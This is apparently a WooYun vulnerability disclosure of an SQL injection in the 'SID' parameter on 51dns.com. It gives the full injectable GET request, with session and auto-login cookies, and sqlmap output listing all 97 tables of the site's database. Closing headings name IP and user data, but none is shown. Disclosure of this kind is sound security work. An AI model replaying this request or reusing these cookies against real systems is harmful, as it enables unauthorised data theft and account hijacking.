WooYun.org

需要cookie的GET方式注射，注入点“SID”
GET /member/domain?gsearch=1&gdomain=&state=-1&SID=&health=-1 HTTP/1.1
Host: www.51dns.com
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36
Referer: https://www.51dns.com/member/domain
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: PHPSESSID=3jo3nebc2m5324ojidtq9g15l0; CNZZDATA4766672=cnzz_eid%3D570745233-1404023413-%26ntime%3D1404023528; _51dns_autoLogin=a3eeSEkZRZGH8ynFfJGoj8FH1plR%2FTnanBw5pOUw; _51dns_memberID=8e44ZrNZYV3rKacZFeIoEG6TTfU%2FgvUBAFRwiEKpqODJaA
SQLMAP证明：受牵连数据库

当前数据库“db_51dns”的所有表：
Database: db_51dns
[97 tables]
+--------------------------+
| ad |
| ad_location |
| admin_usergroups |
| admin_users |
| admin_users_commons |
| admin_users_logs |
| baidu_collection |
| captchacode |
| comment_types |
| comments |
| controllers |
| coupon_list |
| coupon_types |
| data_count |
| dns_nodes |
| dns_servers |
| dns_servers_groups |
| dns_service_views |
| dns_view_areas |
| dns_view_countries |
| dns_view_iplib |
| dns_views |
| domain_suffix |
| domain_title |
| domain_title_type |
| domains |
| domains_block_logs |
| domains_drop_lists |
| domains_groups |
| domains_log_types |
| domains_logs |
| domains_monitor_logs |
| domains_monitor_records |
| domains_month_report |
| domains_qps |
| domains_records |
| domains_screen |
| import_domainRecord_log |
| import_domain_log |
| import_domain_tasks |
| languages |
| languages_package |
| linetypes |
| links |
| locations |
| locations_groups |
| member_agent_profiles |
| member_device |
| member_dynamic_pwd |
| member_groups |
| members |
| message_templates |
| monitor_data |
| monitor_logs |
| monitor_records |
| monitor_tasks |
| monitor_warning_info |
| monitor_warning_message |
| news |
| news_categories |
| news_picture |
| notice_category |
| notice_data |
| operation_dns_type |
| operation_log |
| operator |
| order_items |
| order_items_new |
| orders |
| orders_new |
| payments_logs |
| question_answer |
| question_categories |
| question_reply |
| receipts |
| retrieve_domain_task |
| rewrite_rules |
| service_group |
| service_upgrade_prices |
| services |
| setting |
| setting_groups |
| smsServices |
| system_data |
| system_messages |
| tag_in_news |
| tags |
| tasks |
| tbl_cs_question |
| tbl_cs_question_category |
| tools_data |
| tooltip |
| try_domain |
| users_message |
| validations |
| warning_message |
| white_iplist |
+--------------------------+
97905条产品IP数据：

用户表数据：